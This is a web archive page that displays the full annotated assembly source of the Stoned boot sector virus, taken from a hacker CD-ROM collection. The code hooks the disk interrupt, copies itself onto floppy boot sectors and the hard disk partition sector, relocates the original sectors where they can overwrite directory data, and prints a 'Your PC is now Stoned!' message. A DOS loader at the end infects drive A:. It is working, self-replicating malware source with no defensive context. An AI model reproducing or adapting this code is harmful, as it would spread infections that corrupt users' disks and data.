home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / STONED / STONED.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-05-06  |  14.8 KB  |  308 lines

  1. ;The STONED virus!
  2. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved!
  3.  
  4. int13_Off       EQU     0004CH                  ;interrupt 13H location
  5. int13_Seg       EQU     0004EH
  6.  
  7. .model  small
  8. .code
  9.  
  10. ;The following three definitions are BIOS data that are used by the virus
  11.  
  12.                 ORG     413H
  13. MEM_SIZE        DW      ?                       ;memory size in kilobytes
  14.  
  15.                 ORG     43FH
  16. MOTOR_STATUS    DB      ?                       ;floppy disk motor status
  17.  
  18.                 ORG     46CH
  19. TIMER           DD      ?                       ;PC 55ms timer count
  20.  
  21. ;*****************************************************************************
  22.  
  23.                 ORG     0
  24.  
  25. ;This is the STONED boot sector virus. The jump instructions here just go
  26. ;past the data area and the viral interrupt 13H handler. The first, far jump
  27. ;adjusts cs so that the virus will work properly with a starting offset of 0,
  28. ;rather than 7C00, which is normal fo ra boot sector. The first four
  29. ;bytes of this code, EA 05 00 0C, also serve the virus to identify itself
  30. ;on a floppy disk or the hard disk.
  31.  
  32. START1:         DB      0EAH,5,0,0C0H,7         ;JMP FAR PTR START2
  33. START2:         JMP     NEAR PTR START3         ;go to startup routine
  34.  
  35. ;*****************************************************************************
  36.  
  37. ;Data area for the virus
  38.  
  39. DRIVE_NO        DB      0                       ;Drive being booted: 0=floppy, 2=hd
  40. OLD_INT13       DW      0,0                     ;BIOS int 13 handler seg:offs
  41. HIMEM_JMP       DW      OFFSET HIMEM,0          ;Jump to this @ in high memory
  42. BOOT_SEC_START  DW      7C00H,0                 ;Boot sector boot @ seg:offs
  43.  
  44. ;*****************************************************************************
  45.  
  46. ;This is the viral interrupt 13H handler. It simply looks for attempts to
  47. ;read or write to the floppy disk. Any reads or writes to the floppy get
  48. ;trapped and the INFECT_FLOPPY routine is first called.
  49.  
  50. INT_13H:        PUSH    DS                      ;Viral int 13H handler
  51.                 PUSH    AX
  52.                 CMP     AH,2                    ;Look for functions 2 & 3
  53.                 JB      GOTO_BIOS               ;else go to BIOS int 13 handler
  54.                 CMP     AH,4
  55.                 JNB     GOTO_BIOS
  56.                 OR      DL,DL                   ;are we reading disk 0?
  57.                 JNE     GOTO_BIOS               ;no, go to BIOS int 13 handler
  58.                 XOR     AX,AX                   ;yes, activate virus now
  59.                 MOV     DS,AX                   ;set ds=0
  60.                 MOV     AL,DS:[MOTOR_STATUS]    ;disk motor status
  61.                 TEST    AL,1                    ;is motor on drive 0 running?
  62.                 JNZ     GOTO_BIOS               ;yes, let BIOS handle it
  63.                 CALL    INFECT_FLOPPY           ;go infect the floppy disk in A
  64. GOTO_BIOS:      POP     AX                      ;restore ax and ds
  65.                 POP     DS                      ;and let BIOS do the read/write
  66.                 JMP     DWORD PTR CS:[OLD_INT13];Jump to old int 13
  67.  
  68. ;*****************************************************************************
  69.  
  70. ;This routine infects the floppy in the A drive. It first checks the floppy to
  71. ;make sure it is not already infected, by reading the boot sector from it into
  72. ;memory, and comparing the first four bytes with the first four bytes of the
  73. ;viral boot sector, which is already in memory. If they are not the same,
  74. ;the infection routine rewrites the original boot sector to Cyl 0, Hd 1, Sec 3
  75. ;which is the last sector in the root directory. As long as the root directory
  76. ;has less than __ entries in it, there is no problem in doing this. Then,
  77. ;the virus writes itself to Cyl 0, Hd 0, Sec 1, the actual boot sector.
  78.  
  79. INFECT_FLOPPY:
  80.                 PUSH    BX                      ;save everything
  81.                 PUSH    CX
  82.                 PUSH    DX
  83.                 PUSH    ES
  84.                 PUSH    SI
  85.                 PUSH    DI
  86.                 MOV     SI,4                    ;retry counter
  87. READ_LOOP:      MOV     AX,201H                 ;read boot sector from floppy
  88.                 PUSH    CS
  89.                 POP     ES                      ;es=cs (here)
  90.                 MOV     BX,200H                 ;read to buffer at end of virus
  91.                 XOR     CX,CX                   ;dx=cx=0
  92.                 MOV     DX,CX                   ;read Cyl 0, Hd 0, Sec 1,
  93.                 INC     CX                      ;the floppy boot sector
  94.                 PUSHF                           ;fake an int 13H with push/call
  95.                 CALL    DWORD PTR CS:[OLD_INT13]
  96.                 JNC     CHECK_BOOT_SEC          ;if no error go check bs out
  97.                 XOR     AX,AX                   ;error, attempt disk reset
  98.                 PUSHF                           ;fake an int 13H again
  99.                 CALL    DWORD PTR CS:[OLD_INT13]
  100.                 DEC     SI                      ;decrement retry counter
  101.                 JNZ     READ_LOOP               ;and try again if counter ok
  102.                 JMP     SHORT EXIT_INFECT       ;read failed, get out
  103.                 NOP
  104.  
  105. ;Here we determine if the boot sector from the floppy is already infected
  106. CHECK_BOOT_SEC: XOR     SI,SI                   ;si points to the virus in ram
  107.                 MOV     DI,200H                 ;di points to bs in question
  108.                 CLD
  109.                 PUSH    CS                      ;ds=cs
  110.                 POP     DS
  111.                 LODSW                           ;compare first four bytes of
  112.                 CMP     AX,[DI]                 ;the virus to see if the same
  113.                 JNE     WRITE_VIRUS             ;no, go put the virus on floppy
  114.                 LODSW
  115.                 CMP     AX,[DI+2]
  116.                 JE      EXIT_INFECT             ;the same, already infected
  117. WRITE_VIRUS:    MOV     AX,301H                 ;write virus to floppy A:
  118.                 MOV     BX,200H                 ;first put orig boot sec
  119.                 MOV     CL,3                    ;to Cyl 0, Hd 1, Sec 3
  120.                 MOV     DH,1                    ;this is the last sector in the
  121.                 PUSHF                           ;root directory
  122.                 CALL    DWORD PTR CS:[OLD_INT13]      ;fake int 13
  123.                 JC      EXIT_INFECT             ;if an error, just get out
  124.                 MOV     AX,301H                 ;else write viral boot sec
  125.                 XOR     BX,BX                   ;to Cyl 0, Hd 0, Sec 1
  126.                 MOV     CL,1                    ;from right here in RAM
  127.                 XOR     DX,DX
  128.                 PUSHF                           ;fake an int 13 to ROM BIOS
  129.                 CALL    DWORD PTR CS:[OLD_INT13]
  130. EXIT_INFECT:    POP     DI                      ;exit the infect routine
  131.                 POP     SI                      ;restore everything
  132.                 POP     ES
  133.                 POP     DX
  134.                 POP     CX
  135.                 POP     BX
  136.                 RET
  137.  
  138.  
  139. ;*****************************************************************************
  140. ;This is the start-up code for the viral boot sector, which is executed when
  141. ;the system boots up.
  142.  
  143. START3:         XOR     AX,AX                   ;Stoned boot sector start-up
  144.                 MOV     DS,AX                   ;set ds=ss=0
  145.                 CLI                             ;ints off for stack change
  146.                 MOV     SS,AX
  147.                 MOV     SP,7C00H                ;initialize stack to 0000:7C00
  148.                 STI
  149.                 MOV     AX,WORD PTR ds:[int13_Off] ;get current int 13H vector
  150.                 MOV     DS:[OLD_INT13+7C00H],AX  ;and save it here
  151.                 MOV     AX,WORD PTR ds:[int13_Seg]
  152.                 MOV     DS:[OLD_INT13+7C02H],AX
  153.                 MOV     AX,DS:[MEM_SIZE]        ;get memory size in 1K blocks
  154.                 DEC     AX                      ;subtract 2K from it
  155.                 DEC     AX
  156.                 MOV     DS:[MEM_SIZE],AX        ;save it back
  157.                 MOV     CL,6                    ;Convert mem size to segment
  158.                 SHL     AX,CL                   ;value
  159.                 MOV     ES,AX                   ;and put it in es
  160.                 MOV     DS:[HIMEM_JMP+7C02H],AX ;save segment here
  161.                 MOV     AX,OFFSET INT_13H       ;now hook interrupt 13H
  162.                 MOV     WORD PTR ds:[int13_Off],AX ;into high memory
  163.                 MOV     WORD PTR ds:[int13_Seg],ES
  164.                 MOV     CX,OFFSET END_VIRUS     ;move this much to hi mem
  165.                 PUSH    CS
  166.                 POP     DS                      ;cs=7C0H from far jmp at start
  167.                 XOR     SI,SI                   ;si=di=0
  168.                 MOV     DI,SI
  169.                 CLD
  170.                 REP     MOVSB                   ;move virus to high memory
  171.                 JMP     DWORD PTR CS:[HIMEM_JMP];and go
  172.  
  173. HIMEM:                                          ;here in high memory
  174.                 MOV     AX,0                    ;reset disk drive
  175.                 INT     13H
  176.                 XOR     AX,AX
  177.                 MOV     ES,AX                   ;es=0
  178.                 MOV     AX,201H                 ;prep to load orig boot sector
  179.                 MOV     BX,7C00H
  180.                 CMP     BYTE PTR CS:[DRIVE_NO],0;which drive booting from
  181.                 JE      FLOPPY_BOOT             ;ok, booting from floppy, do it
  182. HARD_BOOT:
  183.                 MOV     CX,7                    ;else booting from hard disk
  184.                 MOV     DX,80H                  ;Read Cyl 0, Hd 0, Sec 7
  185.                 INT     13H                     ;where orig part sec is stored
  186.                 JMP     GO_BOOT                 ;and jump to it
  187.  
  188. FLOPPY_BOOT:    MOV     CX,3                    ;Booting from floppy
  189.                 MOV     DX,100H                 ;Read Cyl 0, Hd 1, Sec 3
  190.                 INT     13H                     ;where orig boot sec is
  191.                 JC      GO_BOOT                 ;if an error go to trash!!
  192.                 TEST    BYTE PTR ES:[TIMER],7   ;message display one in 8
  193.                 JNZ     MESSAGE_DONE            ;times, else none
  194.                 MOV     SI,OFFSET STONED_MSG1   ;play the message
  195.                 PUSH    CS
  196.                 POP     DS                      ;ds=cs
  197. MSG_LOOP:       LODSB                           ;get a byte to al
  198.                 OR      AL,AL                   ;al=0?
  199.                 JZ      MESSAGE_DONE            ;yes, all done
  200.                 MOV     AH,0EH                  ;display byte using BIOS
  201.                 MOV     BH,0
  202.                 INT     10H
  203.                 JMP     SHORT MSG_LOOP          ;and go get another
  204.  
  205. MESSAGE_DONE:   PUSH    CS
  206.                 POP     ES                      ;es=cs
  207.                 MOV     AX,201H                 ;Attempt to read hard disk BS
  208.                 MOV     BX,200H                 ;to infect it if it hasn't been
  209.                 MOV     CL,1
  210.                 MOV     DX,80H
  211.                 INT     13H
  212.                 JC      GO_BOOT                 ;try boot if error reading
  213.                 PUSH    CS
  214.                 POP     DS                      ;check 1st 4 bytes of HD BS
  215.                 MOV     SI,200H                 ;to see if it's infected yet
  216.                 MOV     DI,0
  217.                 LODSW
  218.                 CMP     AX,[DI]                 ;check 2 bytes
  219.                 JNE     INFECT_HARD_DISK        ;not the same, go infect HD
  220.                 LODSW
  221.                 CMP     AX,[DI+2]               ;check next 2 bytes
  222.                 JNE     INFECT_HARD_DISK        ;not the same, go infect HD
  223.  
  224. GO_BOOT:        MOV     CS:[DRIVE_NO],0         ;zero this for floppy infects
  225.                 JMP     DWORD PTR CS:[BOOT_SEC_START]     ;jump to 0000:7C00
  226.  
  227. INFECT_HARD_DISK:
  228.                 MOV     CS:[DRIVE_NO],2         ;flag to indicate bs on HD
  229.                 MOV     AX,301H                 ;write orig part sec here
  230.                 MOV     BX,200H                 ;(Cyl 0, Hd 0, Sec 7)
  231.                 MOV     CX,7
  232.                 MOV     DX,80H
  233.                 INT     13H
  234.                 JC      GO_BOOT                 ;error, abort
  235.                 PUSH    CS
  236.                 POP     DS
  237.                 PUSH    CS
  238.                 POP     ES                      ;ds=cs=es=high memory
  239.                 MOV     SI,OFFSET PART_TABLE + 200H
  240.                 MOV     DI,OFFSET PART_TABLE    ;move partition tbl into
  241.                 MOV     CX,242H                 ;viral boot sector
  242.                 REP     MOVSB                   ;242H move clears orig bs in ram
  243.                 MOV     AX,0301H                ;write it to the partition BS
  244.                 XOR     BX,BX                   ;at Cyl 0, Hd 0, Sec 1
  245.                 INC     CL
  246.                 INT     13H
  247.                 JMP     SHORT GO_BOOT           ;and jump to original boot sec
  248.  
  249. ;*****************************************************************************
  250.  
  251. ;Messages and blank space
  252.  
  253. STONED_MSG1     DB      7,'Your PC is now Stoned!',7,0DH,0AH,0AH,0
  254. STONED_MSG2     DB      'LEGALISE MARIJUANA!'
  255.  
  256. END_VIRUS:                                      ;end of the virus
  257.  
  258.                 DB      0,0,0,0,0,0             ;blank space, not used
  259.  
  260. PART_TABLE:                                     ;space for HD partition table
  261.                 DB      16 dup (0)              ;partition 1 entry
  262.                 DB      16 dup (0)              ;partition 2 entry
  263.                 DB      16 dup (0)              ;partition 3 entry
  264.                 DB      16 dup (0)              ;partition 4 entry
  265.  
  266.  
  267.                 DB      0,0                     ;usually 55 AA boot sec ID
  268.  
  269. ;*****************************************************************************
  270. ;This is the virus loader. When executed from DOS, this is the routine that
  271. ;gets called, and it simply infects drive A: with the Stoned virus.
  272. LOADER:
  273.         push    cs                      ;set ds=es=cs
  274.         pop     es
  275.         push    cs
  276.         pop     ds
  277.  
  278.         mov     ax,201H                 ;read boot sector
  279.         mov     bx,OFFSET BUF           ;into a buffer
  280.         mov     cx,1
  281.         mov     dx,0
  282.         int     13H
  283.         jnc     LOAD1
  284.         mov     ax,201H                 ;do it twice to compensate for
  285.         int     13H                     ;disk change
  286.  
  287. LOAD1:  mov     ax,301H                 ;write original boot sector to disk
  288.         mov     cx,3
  289.         mov     dx,100H
  290.         int     13H
  291.  
  292.         mov     ax,301H                 ;and write virus to boot sector
  293.         mov     bx,0
  294.         mov     cx,1
  295.         mov     dx,0
  296.         int     13H
  297.  
  298.         mov     ax,4C00H                ;then exit to DOS
  299.         int     21H
  300.  
  301. BUF     db      512 dup (?)             ;buffer for disk reads/writes
  302.  
  303. .stack          ;leave room for a stack in an EXE file
  304.  
  305.                 END     LOADER
  306.  
  307.  
  308.